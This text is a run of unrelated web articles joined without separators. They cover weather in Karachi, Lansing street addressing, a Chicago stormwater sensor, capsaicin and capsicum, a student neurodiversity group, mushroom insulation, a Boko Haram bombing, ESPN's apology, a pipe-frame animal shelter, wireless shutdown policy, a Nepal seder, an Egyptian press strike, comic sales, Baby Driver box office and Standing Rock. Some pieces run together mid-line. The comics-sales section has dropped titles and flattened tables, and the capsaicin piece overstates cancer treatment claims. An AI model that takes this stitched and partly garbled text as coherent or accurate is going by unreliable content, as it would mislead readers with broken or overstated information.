People, youths in particular, continued to donate medicines, juices and bottled water to patients as well as hospitals.
WEATHER: The hot and humid weather got milder and a change of wind pattern brought some respite from the suffocating heat. After almost a week, the maximum temperature dropped to 37 degrees Celsius on Wednesday. The minimum temperature was 30.5 degrees Celsius, with humidity — a measure of the amount of moisture in the air — 63 per cent.
The Met Office said the maximum temperature was expected to remain between 38 and 40 degrees Celsius on Thursday.
Hyderabad was the hottest place in the province on Wednesday as the maximum temperature was recorded at 42 degrees Celsius there.
Published in Dawn, June 25th, 2015
On a mobile phone? Get the Dawn Mobile App: Apple Store | Google PlayWhen I resided in Hagerstown, Maryland many moons ago, Washington County’s Planning Department assigned new addresses to nearly every property in the county. This effort was completed successfully in part due to the cooperation all of the local jurisdictions. The purpose of this multi-month effort was to better coordinate the street numbering system throughout the county and improve emergency response times through 9-1-1. The plan went flawlessly, but it should be noted that Maryland does not have townships as a form of government.
Fast forward (or perhaps backwards) 20 years to Greater Lansing, Michigan. Granted the city sits within or aside three counties instead of one, but past street naming and numbering is anything but coordinated between them – instead it is pretty much an illogical nightmare. The system is so confusing that one wonders how local 9-1-1 operators begin put up with the zany numbering without literally pulling their hair out.
For instance, when you travel north from Lansing into abutting Clinton County, addresses that were four digits and increasing as going northward suddenly become five digits and decreasing as you drive north towards the county seat of St. Johns. This changeover occurs less than two miles from downtown Lansing.
Secondly, in one community, properties in the eastern half fronting M-43 are addressed West Grand River Avenue, while properties fronting M-43 in the western half of that same community are addressed East Grand River Avenue. Say what? How can anyone say that makes any logical or logistical sense.
In a third example, most major thoroughfares are called roads in outlying parts of Ingham and Clinton Counties, but are referred to as highways in Eaton County. For example, Mt. Hope goes from being called a “road” in Ingham County to an “avenue” in the City of Lansing to a “highway” in Eaton County as you travel from east to west. Meanwhile, Grand River Avenue goes from being identified as West Grand River Avenue to East Grand River Avenue to North Grand River Avenue to West Grand River Highway as you travel from east to west across the metro area.
Any sane map maker must shake their head in utter dismay when they encounter these nuances. On the plus side, at least current and future street names are subject to the approval by the Tri-County Regional Planning Commission.
There is absolutely no way a visitor or newcomer would begin to understand the total lack of logic in Greater Lansing’s past street naming and numbering sins. That is not to say that goofy street systems don’t exist elsewhere. But, one has to seriously wonder how this illogical hodge-podge impacts a litany of issues including economic development. If a potential employer cannot figure out where a development site is because of the zany street numbering, they will not bother wasting their time considering Greater Lansing. Time is money folks, and few if any employers are going to waste theirs trying to make sense out of an archaic street system.
This is one reason regionalism is important. Unlike dozens of little fiefdoms running amok, a regional and coordinated approach to streets is critical to public safety, efficient and safe travel, and economic development. It’s a matter of working together in a united effort for the good of the region versus battling turf wars over smaller and smaller slices of a shrinking pie.
Does Greater Lansing have the stones to someday accomplish such a daunting task without becoming eternally lost in inter-jurisdictional bickering? When the time does arise, we will see. For the good of Greater Lansing, let’s hope a regional solution to address the past sins of poor street naming and numbering is successful.
AdvertisementsThe box monitors the subtle science behind the new shared streetscape's design. View Full Caption DNAinfo/Josh McGhee
UPTOWN — When walking the new "shared street" Argyle streetscape, it's hard not to wonder about the big orange box perched at the corner of Broadway and Argyle.
The box, which popped up several weeks ago, is a complement to the streetscape and monitors the subtle science behind its design, according to UI Labs, which works with cities to solve large-scale problems through digital innovation.
"One of the pieces of [the Argyle Streetscape] that is harder for people to see is its stormwater management," said Alex Frank, program manager of UI Labs' City Digital project.
Part of the idea behind the shared street concept is to improve the city's green infrastructure. The planters and permeable pavers work to siphon off stormwater on the curbless street.
Siphoning off the stormwater before it reaches a sewer helps reduce the risk of flooding, while the permeable pavers absorb the water, Frank said.
The orange box collects data from sensors underneath the pavers and planters to determine soil moisture. It also collects data from the RainWise sensor, which monitors the rainfall, he said.
All the data is being collected in the cloud, he said.
"The end game is to get the data up through the city's data portal later this year," said Frank. "Right now we're just trying to get the tech involved up and running."
The city picked the location for the pilot program, and the technology is being tested in three other locations: on Langley Avenue in Roseland, outside the UI Labs office in Goose Island and on Cottage Grove in Greater Grand Crossing, he said.You’ve doubtless heard the word capsaicin, and are probably at least somewhat familiar with the definition. Likewise, you might have heard the word capsicum. They sound similar, and they are related. However, they are not the same thing. So, what’s the difference?
Capsaicin
When it comes to capsaicin and capsicum, the former is a specific phytochemical contained within a pepper’s flesh and pith. There are other, similar chemicals found in peppers that are related to capsaicin, and carry similar-sounding names, as well. Capsaicin is responsible for creating the sensation of heat when you bite into a pepper, as well as for the burning sensation if you were to cut a pepper and somehow get the juice or reside into your eyes.
Capsicum
When discussing capsaicin and capsicum, the latter can be more than one thing. For instance, the family that the plant falls into is called capsicum. Capsicum is also the name for any fruit from a plant in the family (the peppers themselves). All capsicum species are native to the Americas, although they have now been distributed far and wide around the world, and have seen a significant increase in their diversity.
There are up to 27 different species in the family, although only five are considered “domesticated”. It should also be noted that each species can contain multiple types of peppers. For instance, capsicum annuum includes bell peppers, poblano peppers, ancho peppers, jalapeño peppers and more.
Capsaicin and Capsicum: Concentration Questions
The amount of capsaicin in any pepper varies greatly, even between peppers of the same species. For instance, while the jalapeño falls around 5,000 on the Scoville Scale due to its level of capsaicin, the bell pepper rates at 0, and has no capsaicin at all, even though they are the same species. Other factors that affect capsaicin concentration include growing conditions, soil nutrients, water scarcity and more.
Capsaicin and Capsicum in Medical Treatments
Capsicums are important in the medical world for one thing – their concentration of capsaicin. This is extracted through a chemical leeching process, and then added to other ingredients to create treatments for a wide range of conditions. For instance, you can now find several brands of cream on the market designed as topical applications for the treatment of conditions ranging from severe arthritis to lower back pain and sprained muscles.
Higher concentrations are used in some patches created to help treat neuropathy in diabetics and HIV patients. It is even being experimented with for its use against cancer, particularly pancreatic and prostate cancer, although lung cancer is also reportedly treatable with capsaicin.
If you’re considering the use of capsaicin based treatments, particularly topical formulations, be aware that it will most likely cause a tingling or burning sensation in the skin for the first several applications, but this will eventually fade. It may also take up to two weeks to notice full effectiveness from a cream or ointment.
Source:-
https://www.ncbi.nlm.nih.gov/pubmed/3328791
http://www.webmd.com/vitamins-supplements/ingredientmono-945-capsicum.aspx?activeingredientid=945&activeingredientname=capsicum
http://wikidiff.com/capsicum/capsaicin
https://en.wikipedia.org/wiki/CapsicumManuel Diaz always knew he was different. Diagnosed with autism at 16, Diaz’s transition into college was marked by depression as he searched for a place where he could belong.
Last September, physics senior Díaz founded Texas Neurodiversity, a campus organization that promotes the idea that differences in brain functioning like autism, dyslexia and ADHD are natural diversities of the human brain, not illnesses. The organization is comprised of neurotypical students, whose brains function normally, and neurodivergent students, whose brains function differently. They offer self-improvement talks, guest speakers and public outings.
For Díaz, the roots of Texas Neurodiversity are personal.
“All my life, I behaved and felt so different from everyone around me,” Diaz said. “I isolated myself from the other kids at school because I was so afraid of the social rejection.”
Diaz said the confusion and frustration that comes with autism puts him in a stagnant position in society where he’s expected to conform to societal norms without being fully understood. Once college started, Diaz said things didn’t get easier. After experiencing excess sensory stimulation and becoming unresponsive in front of a peer during his junior year, Diaz said he was left rejected and broken, causing him to become depressed.
Assistant professor of education Nina Zuna, who studies autism, said although there is increased awareness of autism, there are still many issues facing individuals with autism that most people don’t recognize.
“It’s hard for individuals, no matter where they fall on the spectrum, in terms of transitioning to adulthood,” Zuna said.
Diaz said neurodivergent individuals are more vulnerable to poor mental health, but he found the solution to his depression in March, at a Students On The Spectrum support group offered by Services for Students with Disabilities.
“For the first time in my life, I actually felt like I belonged,” Diaz said. “I could show another autistic a song I liked and they would see what others didn’t normally see. All my life, I thought I was the only one that could see those things.”
Inspired by the sense of community, Diaz founded Texas Neurodiversity six months later for students with all types of neurocognition.
Biomedical engineering sophomore Kiran Zubair has been in Texas Neurodiversity since the beginning. She said the organization has given her the gift of self-acceptance. She said many autistic people identify themselves directly as such, rejecting terms like “person with autism” for “autistic.”
“I am neurodivergent, and I am autistic,” Zubair said. “By using language like ‘person with autism,’ you’re separating the autism from the person. And that’s not possible because autism isn’t just a layer you can take off of somebody. It’s embedded deep into my being, and if you try to separate that you’re not describing me accurately.”
She said that being autistic is a common thread that transcends race, culture and religion, uniting many of the students in the organization.
“[Someday] we’ll think of the disability rights movement in the same way that people think of the civil rights movement now,” Zubair said.
With the introduction of social events accommodating neurodivergent students, Díaz said he hopes neurodiversity will one day be interwoven into University traditions as an unquestioned standard. The mingling of neurotypicals and neurodivergent minds is one he longs to see and hopes to promote.
“Exposure to diversity makes people less likely to conform to narrow mindsets,” Díaz said. “It pushes people to think outside the box. To be brighter and more creative as individuals who can solve a wider variety of problems.”Green-technology group Ecovative has taken the idea of sustainable homes to a whole new level -- with mushrooms.
According to Fast Company, the company's dedication to finding "cost-effective alternatives to plastic insulation and packaging" led them to discover the magic of mycelium, a fungal network of threadlike cells that make it possible to bind agricultural byproducts together. The result? Using shrooms to replace wasteful plastic and styrofoam insulation.
They explain how it works on the company blog:
"Ecovative uses mycelium (mushroom “roots”) to bond together agricultural byproducts like corn stalks into a material that can replace plastic foam. Mushroom Insulation grows into wood forms over the course of a few days, forming an airtight seal. It dries over the next month (kind of like how concrete cures) and you are left with an airtight wall that is extremely strong."
Aside from concerns about the tiny house's durability and longevity (which Ecovative is addressing,) the prospect of using this alternative actually seems promising. Let us know if you'd be cool with a mushroom home in the comments below.
Click through the slideshow to see photos of the "Mushroom Tiny House." For more information about the science behind this sustainable substitute, watch the video above or head over to Ecovative's official blog. A major hat tip to Fast Company, where you can learn more about the company's growth over the years.
Mushroom Tiny House SEE GALLERY
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At least four persons were confirmed dead and six others – all local farmers – got injured after suicide bombers believed to be deployed by Boko Haram insurgents detonated themselves near Maiduguri, the Borno state capital, on Tuesday, witnesses said.
Multiple blasts were heard across the city early Tuesday starting at about 8.20am to about 9.51am.
A top official of the Civilian-JTF, Danbatta Bello, told PREMIUM TIMES the blasts were caused by four female suicide bombers who were trying to invade Maiduguri through a suburb called Mairi-Kwait, located behind the University of Maiduguri.
The civilian-JTF personnel said the mission of the attackers was foiled outside the fortifications set up around the university to ward off incessant attacks early this year.
Mr. Bello said of the four suicide bombers, one blew herself up in the bush not far away from the fortification, while three others came closer before detonating themselves.
He said six farmers who were harvesting their crops were injured by the multiple blasts.
“We have just returned from the scene of the blast which was near Mairi-Kwait,” said Mr. Bello. “They were four female suicide bombers, and all of them got themselves killed in the blasts. One died in the bush, and three others died near the parapet after they detonated on a farmland where six farmers who were harvesting their crops got injured.”
Military sirens could be heard in the charged atmosphere, as soldiers raced in trucks towards the area, witnesses said.
A staff of the university told PREMIUM TIMES that all was quiet within the campus that just opened about a month ago.
More details later.At ESPN we are aware of three offensive and inappropriate comments made on ESPN outlets during our coverage of Jeremy Lin.
Saturday we apologized for two references. We have since learned of a similar reference Friday on ESPN Radio New York. The incidents were separate and different. We have engaged in a thorough review of all three and have taken the following action:
• The ESPN employee responsible for our Mobile headline has been dismissed.
• The ESPNEWS anchor has been suspended for 30 days.
• The radio commentator is not an ESPN employee.
We again apologize, especially to Mr. Lin. His accomplishments are a source of great pride to the Asian-American community, including the Asian-American employees at ESPN. Through self-examination, improved editorial practices and controls, and response to constructive criticism, we will be better in the future.Need to build your own DIY animal shelter for your dog or even barnyard animals, we'll show you how in this project covering this awesome animal shelter built by our customer, Linda.
This shelter features a sloped design and it can be easily recreated even if you don't have much building experience. The design can even be modified or configured for your exact dimensions.
Using Kee Klamp fittings and pipe, you can built a frame for the shelter with no cutting needed. In this project, we'll cover the details of Linda's DIY animal shelter, the fittings you'll need to built one just like it, and how to use each fitting.
So let's right get to it:
Linda's Animal Shelter Project Details
First up, let's cover the details of Linda's animal shelter. The shelter itself is 6 ft. deep by 10 ft. wide. It's 5 ft. high in the back and approximately 7.5 ft. at the front.
For the frame of the shelter, Linda used Kee Klamp fittings and Schedule 40 galvanized pipe. To anchor the structure, four t-posts were used at each corner with the pipe sliding over each of the posts.
From there, 2x4s were used to complete the frame to allow Linda to attach the shelter siding and roof. The 2x4s at the top of the roof are attached to the pipe frame using the P50 fitting. This fitting attaches to the pipe frame but also has a tab with a hole in that extends from the fitting. The wood 2x4s could then be bolted to each of the P50 fittings.
Regular u-bolts were used to attach the wood 2x4s at the side of the frame.
Moving on, the shelter was fitted with a 9 ft. wide roll of Tyvek around the top and sides of the shelter frame. This barrier helps to keep rain out.
For the roof and side paneling, 8 ft. galvanized steel ribbed roof paneling was used. These panels fit over the roof nicely but for the siding, they had to be cut to size using a circular saw with a metal cutting blade.
Overall, Linda has been really happy with the shelter and says it's working out great for her animals:
"So far it's working great at giving our ram lambs a shady place. We made it tall enough to walk into just for the sake of simplicity for us, but it's way taller than the rams need. :D. The good news is that if we ever put our llama in that field it's tall enough for her, too. I'm also thinking of putting boards across the side support to create a shelf to hold grooming tools, extra bowls/dishes, etc. "
Fittings Needed to Build this Animal Shelter:
Below, are all of the fitting used in this project that you'll need in order to build your own:
How to Use Each Fitting to Build Your Own Animal Shelter:
Now, let's talk about how to use each fitting so you can build your own animal shelter just like the one Linda built.
At the back corner for each side of the shelter, the Eave fitting is used to connect the vertical post, the horizontal support, and the pipe used for the roof slant:
At the front of the frame, the Ridge fitting is used to connect the vertical post, the horizontal support, and the other end of pipe for the roof slant:
The Single Socket Tee fitting is used on both sides of the frame to add an extra support. This support is connected to the Eave fitting at the back of the frame.
Lastly, the P50 fitting is used at the top of the frame to attach the roof 2x4s:
That's all there is to it! Using Kee Klamp fittings really makes the process so much simpler since the fittings are adjustable and can be locked down or loosened by adjusting the set screw for that fitting.
If you're thinking of building your own animal shelter, make sure to browse our full selection of fittings to find the right ones for your project, and if you need any help, don't hesitate to reach out to our team for assistance.In the aftermath of yesterday's tragic bombings at the finish line of the Boston Marathon, there were reports that cell phone service in the region had been cut off to avoid the detonation of another bomb via cell phone.
Ultimately, those reports were unfounded. Mobile networks were simply jammed as people frantically tried to get in touch with friends and loved ones.
But in an age when our smartphones are a constant companion, what is the protocol for shutting down wireless networks in an emergency? Is it allowed, and would it even help?
Back in July 2005, after several bombs rocked the London transportation system, authorities in the U.S. shut down cellular service in the areas around the Lincoln, Holland, Queens, and Brooklyn Battery Tunnels in New York City.
The move was intended to prevent someone from using a mobile device to set off a bomb in one of those major transportation arteries, but it was done rather haphazardly and without any warning to the wireless carriers or citizens.
As a result, the President's National Security Telecommunications Advisory Committee (NSTAC) set up a task force in Aug. 2005 to come up with the best way to handle wireless network shutdowns. The result was something known as Standard Operating Procedure (SOP) 303, which was approved in March 2006.
Under SOP 303, the Department of Homeland Security (DHS) takes the lead on private wireless network shutdowns, whether it's confined to a tunnel or affects an entire city.
"The decision to shut down service will be made by state Homeland Security advisors, their designees, or representatives of the DHS Homeland Security Operations Center," according to a 2009-2010 review of NSTAC.
When a shutdown request is made, DHS notifies the carriers and questions the person making the request to make sure the move is truly necessary. DHS will also handle the call to bring networks back online.
Should the FCC Step In?
The issue of wireless shutdowns made headlines again in 2011 when the Bay Area Rapid Transit (BART) shut down cell phone service at select stations to minimize the impact of planned protests over a shooting involving a BART officer. Many of the protestors were organizing via social networks, which they accessed on their phones. The move sparked controversy, prompting the Federal Communications Commission to open a public comment period in March 2012 that solicited input on how and when organizations can interrupt wireless service.
An FCC spokesman said today that the commission is still accepting comments on the issue. But a number of wireless firms and public interest groups have submitted their comments to the FCC.
AT&T and Verizon argued that DHS should continue to handle the issue under SOP 303, and urged the FCC not to step off.
"Multiple processes among the various (Federal, State, local) jurisdictions will inevitably lead to confusion and inconsistent requests where multiple authorities may be involved," Verizon said.
"Wireless carriers need a process where the request comes from a single, trustworthy source," Verizon continued. "Carriers should not be put in the position of having to sort through multiple communications from multiple government entities."
AT&T said it agrees with CTIA, the wireless industry trade association, which said that "it is not necessary for the [Commission] to undertake a substantive proceeding on these issues at this time, given that protocols for wireless service interruptions are already in place."
MetroPCS, meanwhile, argued that "whenever there is insufficient time for court process, the FCC is empowered to make the decision to order a shutdown with input from public safety agencies according to the established protocol."
The carriers agreed that wireless shutdowns should be an absolute last resort. MetroPCS said it should be used under "very narrow and compelling circumstances," while AT&T and Verizon said it should be a last resort.
"Wireless service is no longer a luxury; it is essential to our daily lives," AT&T said.
Infringing On Our Rights?
Another issue to consider, according to public interest groups, is whether SOP 303 infringes on our First Amendment rights to free speech.
SOP 303 "fails to satisfy the procedural requirements that must be met when the government engages in a prior restraint of speech by initiating a wireless service interruption," according to a joint filing from the Center for Democracy and Technology, Public Knowledge, and the Electronic Frontier Foundation.
Supreme Court precedent dictates that officials need court permission before pulling the plug on wireless networks, the groups argued. In the event of a major disaster, when time does not allow for a court order, the shutdown "must be brief" and should be followed by a judicial review, they said.
As it stands, "there is no court in the loop at all, at any stage in the SOP 303 process," they said. "The executive branch, untethered by the checks and balances of court oversight, clear instruction from Congress, or transparency to the public, is free to act as it will and in secret."The massive Passover seder held annually in Kathmandu will go on this year despite a strike by Israel’s Foreign Ministry, the head of the Chabad center asserted.
Rabbi Chezky Lifshitz, the Chabad emissary to Nepal, told the Chabad.org website that despite news reports to the contrary, the seders will take place in Kathmandu and throughout Nepal.
The mass Passover seder in Kathmandu has become a tradition among the Israeli backpackers who visit the country, drawing around 1,500 participants each year, according to Chabad.org. There is also a smaller English-language seder for European and American visitors.
Due to the Foreign Ministry strike, however, Chabad is not able to receive the large shipment of supplies, including matzah, wine and other kosher foods, currently being held in an Indian port, since the ministry handles the receiving and delivering of the containers.
“We are currently working through many options,” Lifshitz told Chabad.org from Nepal. “We are looking into baking matzah here or maybe sending supplies with a lot of people. I’m sure the seder will take place.”
“There have been many times when we have had problems arranging the sedarim,” Lifshitz said. “But in the end, we have always had success, so we are not worried.”
The general strike, which was called on Sunday, has shut down Israel’s Employees of the Foreign Ministry in Israel declared a general strike, shutting down the country’s 103 embassies, consulates and diplomatic missions around the world. The strike is open-ended and comes after two weeks of labor sanctions and seven months of mediation.
Foreign Ministry employees are protesting, among other things, salary cuts, low pensions and poor compensation packages offered to spouses of overseas diplomats. They have been trying for more than a year to improve their working conditions.
This story "World's Biggest Seder Will Go On in Nepal Despite Diplomat Strike" was written by JTA.Ahram Online declares its full support for the strike action undertaken on Tuesday by a large number of major Egyptian newspapers and TV stations in defence of freedom of the press, freedom of expression, civil liberties and the rule of law. In view of our particular status as a web-based news outlet, however, we will maintain our updates throughout this crucial day of protest, not in contravention of the strike action, but in full solidarity with it. These decisions were consensually adopted by an all-staff meeting of Ahram Online, and in consultation with members of the board of the Press Syndicate and striking news media.
Twelve Egyptian newspapers and five TV channels announced that they will go on strike for one day to object to both recently issued constitutional declaration and the draft constitution.
The newspapers will not print on Tuesday and the TV channels will go off-air on Wednesday.
The draft constitution, which was passed on 30 November by the Islamist-dominated Constituent Assembly and is set to be voted on in a referendum on 15 December, does not include articles against the imprisonment of journalists in cases related to freedom of expression as demanded by journalists.
The Journalists Syndicate's executive council had withdrawn its representatives from the Constituent Assembly in mid-November after its recommendations and suggestions were ignored by the assembly.
Later, the general assembly of the syndicate had threatened on 25 November to stage a strike against the constitutional declaration that president Mohamed Morsi issued on 23 November..
The newspapers that will go on strike on Tuesday include: Al-Masry Al-Youm, Al-Watan, Al-Tahrir, Al-Wafd, Al-Youm 7, Al-Dostour, Al-Shorouk, Al-Sabah, Al-Ahaly, Al-Ahrar, Al-Fagr and Osbooa.
The TV channels that will go on strike on Wednesday, with blank screens broadcasting in place of content, are: ONTV channels, CBC and Modern channels, Al-Hayat Channels and Dream TV channels.
Already on Monday, Al-Wafd newspaper, Al-Youm 7 newspaper, Al-Watan |
$5.99 DC 7 Dark Knight Returns: The Last Crusade #1 $6.99 DC 8 Superman Rebirth #1* $2.99 DC 9 Wonder Woman #1* $2.99 DC 10 Superman #1* $2.99 DC Graphic Novel Price Publisher 1 Saga Volume 6 $14.99 Image 2 Dark Night: A True Batman Story HC $22.99 DC 3 Sex Criminals Vol. 3: Three The Hard Way $14.99 Image 4 DC Super Hero Girls Vol. 1: Finals Crisis $9.99 DC 5 Color Your Own Young Marvel By Skottie Young $9.99 Marvel 6 Batman: The Killing Joke Special Edition HC $17.99 DC 7 Preacher Book 1 $19.99 DC 8 Outcast By Kirkman & Azaceta Vol. 3: Little Light $14.99 Image 9 Harley Quinn Vol. 3: Kiss Kiss Bang Stab $16.99 DC 10 Neil Gaiman' s How To Talk To Girls At Parties HC $17.99 Dark Horse
Publisher Comics shipped Graphic Novels shipped Magazines shipped Total shipped Marvel 112 42 0 154 DC 69 30 1 100 IDW 56 27 0 83 Image 57 16 1 74 Dark Horse 23 25 0 48 Boom 24 9 0 33 Titan 23 6 3 32 Dynamite 22 4 0 26 Viz 0 23 0 23 Valiant 9 3 0 12 Other 141 149 29 319 TOTAL 536 334 34 904
Dollar share Unit share Marvel 40.08% 44.17% DC 29.93% 31.69% Image 7.88% 7.64% IDW 5.22% 4.15% Dark Horse 2.81% 1.76% Boom 2.23% 2.18% Dynamite 1.45% 1.17% Titan 1.09% 1.07% Viz 0.97% 0.34% Valiant 0.75% 0.84% Other 7.58% 5.00%
The dual releases offromand many of's Rebirth titles drove comic shop retailers to order a modern record $58.59 million in comic books, graphic novels, and magazines in June 2016, according to's analysis of charts released today by. The single month's orders nearly eclipsed last June's by nearly $10 million and nearly erased the Direct Market's losses to date through 2016. Comics shop market orders for the year stand at about $280 million, versus $282 million in the first half of 2015.Marvel's Civil War II #1 led the new comics charts, and by the increase in comics unit sales this month — nearly 20% — we can expect that a large number, if not all, of the top 10 titles may wind up over 100,000 copies. By placing ahead of DC'sat $2.99, the $5.99 60-pageissue is further expected to bring in more than twice the revenue.The month beat the previous-holder, April 2015, by nearly $2 million. The aggregate sales figures for the month show a 23% increase in comics dollars and a 14% increase in graphic novel dollars, netting out to a 20% increase overall:The first quarter of the year was slightly up; the second quarter slightly down, due to weakness in April and May. This June had five shipping weeks versus four last June, and the first half of the year had 26 Wednesdays as opposed to 25 in the first half of 2015.But while the number of releases in June 2016 was way up — 536 new comics versus 453 last June — the number of comics shipping per week dropped 5%, so it's not all about the volume. The second quarter of 2015 was very strong, as was last June; the third quarter last year was weaker. Leading into this year's third quarter with momentum, thus, may bode well for the rest of 2016's comparatives.The top-sellers charts for comics and graphic novels show a number of reasons why this June performed so well. Twoissues, but also dual Batman relaunches, a Dark Knight III issue, and a Star Wars launch were in the mix. And Image had, topping the graphic novel charts.Asterisks by the DC books mean that their rankings were adjusted for potential returns, meaning that the ultimate sales positions could be higher.As noted, the volume of releases went up quite a bit this month, ending shy of record levels but showing Marvel with 112 new comic books, its highest figure in several years:Finally, the market shares found Marvel at almost exactly 40% of the market and DC at almost exactly 30%:Detailed estimates will be out on Monday.UPDATE, Friday 6:55 AM: Sony-TriStar/Media Rights Capital’s Baby Driver eased 41% on Thursday for a day’s gross of $3.3M bringing its two-day run to $9M. The Edgar Wright-directed movie easily beat Paramount’s Transformers: The Last Knight for the second day in a row; that Michael Bay movie earning an estimated $2.99M and a week-and-half tally of $85M.
A number of rival distributors around town are excited by Baby Driver; its original auteur sensibility and how it stands out from the crowd of franchise films. Many see the movie, given its great reviews and word of mouth, easily reaching a low $20M opening by Sunday and having a long journey ahead at the summer box office.
Warner Bros.
Warner Bros./DC’s Wonder Woman slotted third with $2.68M, -3% from Wednesday, and has now officially beat Batman v. Superman‘s domestic take at the box office ($330.3M) with a running cume of $330.5M at the end of four weeks. Her end game stateside lies around $360M. Wonder Woman is now the fifth-highest grossing WB release at the domestic B.O., and once she takes out American Sniper ($350M), she’ll be the fourth-highest. Among DC titles, Wonder Woman ranks third behind The Dark Knight ($534.9M) and The Dark Knight Rises ($448.1M).
Disney/Pixar’s Cars 3 was fourth on Thursday with $2.5M, -11%, for a running cume at the end of two weeks at $111.2M.
We’ll have previews figures for Despicable Me 3 and The House soon.
Writethru Thursday AM following Wednesday PM post: Sony-TriStar/Media Rights Capital’s Baby Driver is landing within the range we saw it at yesterday afternoon, with $5.7M at 3,226 locations making it the No. 1 movie on Wednesday. CinemaScore audiences also gave the movie an A- grade on opening night, but the pic’s core audience of under 25 embraced Baby Driver with a solid A grade.
Sony
Like PostTrak on Tuesday night, CinemaScore showed guys turning up at 57% to Baby Driver with women at 43%. Those under 25 repped the majority of ticket buyers at 52%. The under 18 demo, who numbered 18%, also gave Baby Driver an A. Forty-four percent came out because they enjoy action movies, while the acting ensemble of Ansel Elgort-Jon Hamm-Kevin Spacey-Jamie Foxx was responsible for pulling in 26% of the audience. Sixteen percent told CinemaScore that they bought tickets because they’re fans of director Edgar Wright.
It’s not often that a major studio opens an economically-priced action title on a Wednesday (this one cost $34M after Georgia rebates), which makes Baby Driver a challenge to comp. Currently, insiders are comparing Baby Driver to a number of summer R-rated comedies, but still that’s not perfectly exact. Baby Driver‘s first-day is higher than Entourage‘s first day of $5.37M. But that movie was branded IP, saw the turnout of its fans on opening day with its daily business collapsing thereafter with a 3-day of $10.2M and five day of $17.7M. Sony is still seeing Baby Driver in the teens through five days, but the industry is thinking a $20M+ tally by the end of Sunday.
Unlike Entourage, Baby Driver has critics and a solid word of mouth working in its favor and the movie could see an uptick in its daily Friday and Saturday grosses off that (except for Thursday which is always a down day percent wise for any Wednesday opener). An R-rated comedy like We’re the Millers had a 47% Rotten Tomatoes score (better than Entourage‘s 33% Rotten) and an A- CinemaScore. Millers opened to $6.77M and saw a surge on Friday and Saturday respectively with $8.5M and $10.3M. Final 5-day was $37.9M.
In regards to online ticket sales, Baby Driver was the No. 2 top ticket sold on Wednesday on Fandango behind Despicable Me 3 and sales weren’t showing any signs of flagging. In a Fandango moviegoer poll, 90% are looking forward to the film’s wild car stunts, 82% are Kevin Spacey fans, 66% have seen at least one of director Edgar Wright’s movies while 53% said the Baby Driver soundtrack increased their interest in seeing the movie.
On social media, RelishMix observed that the online chatter for the movie is “clearly favorable especially on Facebook and on many of the YouTube reposts” with fans of the Fast and Furious series intrigued by the pic’s car stunts. Baby Driver‘s soundtrack is receiving strong mentions, as well as its actors Foxx, Hamm, Flea and Elgort.
RelishMix also points out that Baby Driver‘s 115M social media universe across Facebook, Twitter, Instagram and YouTube views bests the average SMU for an action genre title which typically counts an SMU of 67M. YouTube videos are going viral at a rate of 35:1, blowing the action movie average of 7:1 away. Baby Driver benefits from a socially active cast including Foxx (18M), Elgort (11.7M), Spacey (8.4M) and Eiza Gonzalez (5M).
Baby Driver opens in Wright’s UK this weekend, which is always a favorable territory with the director after the U.S., as well as Netherlands and Romania. Spain happens next weekend, with Australia and New Zealand following.
Paramount’s Transformers: The Last Knight was second with $3.25M on Wednesday, -43% from Tuesday, and a running cume of $82.1M. Disney/Pixar’s Cars 3 took $2.8M in third, -31%, at 4,256 venues for a running cume of $108.6M in its second week. Warner Bros./DC’s Wonder Woman was fourth with $2.77M at 3,933, -29%, with $327.9M. It will pass Superman v. Batman very soon.
Here’s an Instagram post from Lily James on set of Baby Driver:
1st Update, Wednesday, 8:06AM: Sony is reporting $2.1M in Tuesday night previews for Edgar Wright’s TriStar/Media Rights Capital action title Baby Driver. That money will be rolled into the film’s opening-day gross as it expands to 3,226 venues today.
Number-wise, that’s slightly more than what Warner Bros.’ Entourage, another R-rated title, took in on its Tuesday preview night ($2M) two summers ago. Baby‘s number also is higher than the $1.2M Tuesday night of WB’s R-rated Vacation reboot. But those movies are quite different in that they’re branded IPs, and were panned by critics. Entourage made $17.66M in five days, while Vacation made $21M.
Baby Driver is different: It’s original, beloved by critics (98% certified fresh), and fanboys adore Wright. Sony thinks they’re in the low-teen millions over five days, but many believe this $34M-budgeted pic can get to $20M in five days.
Early buzz is strong, with last night’s audience giving Baby Driver four out of five stars, according to comScore/Screen Engine’s PostTrak. Guys were present at 57%, women at 43% with 51% under age 25. Men under 25 (31% of all ticket buyers) love the movie the most, with an 88% total positive score, followed by older men (26%) with 81% positive, females under 25 (20%) at 78% and females over 25 (23%) -at 65% positive. Fifty-five percent said the movie met their expectations, while 37% said Baby Driver exceeded their expectations. Forty-six percent bought tickets because Baby Driver is an action movie, while 21% said they came out for the cast as a whole.
We heard last night that Baby Driver already was surging over Transformers: The Last Knight in hourly advance tickets sales for the weekend. As a riveting, romantic original title at the stale summer franchise box office, many truly would like to see Baby Driver rally at the B.O. Even Guardians of the Galaxy Vol. 2 director James Gunn is telling his social media followers to check out the movie:
Warner Bros.
On Friday, Baby Driver faces off against Illumination/Universal’s Despicable Me 3 ($90M+) and New Line/Village Roadshow/Warner Bros.’ The House ($12M-$16M).
Last Knight was the top film on Tuesday, drawing $5.67M at 4,069 venues for a week’s cume of $78.9M. Disney/Pixar’s Cars 3 was second with $4.1M at 4,256 theaters and a running total of $105.8M. Warner Bros.’ Wonder Woman grossed $3.9M at 3,933 venues for a total of $325.09M — just nickels from overtaking Suicide Squad‘s final cume ($325.1M) today.As a means of making bombing, sanctioning or invading other countries palatable to the general population, the US government has consistently used the actions of other governments against their own people as an excuse.
Those actions have included the use of chemical weapons, torture, setting dogs against people, beatings, surveillance, forcibly removing people from their land, jailing them unjustly, holding staged trials, and issuing verbal and physical threats, among many others.
Yet, these same actions have been carried out by the US government, state governments and private security forces working on behalf of a private pipeline company (with the full backing of the US government) against Native people at Standing Rock.
This story is not new.
“The settler state arrives as an armed white man intent on staying,” said Nick Estes, who is Kul Wicasa from the Lower Brule Sioux Tribe and is a doctoral candidate in American Studies at the University of New Mexico, in an interview with Truthout. “Second amendment rights were intended to arm the white man. The police and military have always been the arm of the state to facilitate Indigenous dispossession and normalize it.”
Estes, who studies colonialism and decolonization, border town violence, police violence, Indigenous internationalism, Lakota treaties and history, and the history and politics of the Oceti Sakowin, also cofounded The Red Nation, a Native-led coalition dedicated to Native liberation.
Nick Estes of the Lower Brule Sioux Tribe is a doctoral candidate in American studies at the University of New Mexico; he studies colonialism and decolonization and cofounded The Red Nation. (Photo: Courtesy of Nick Estes)
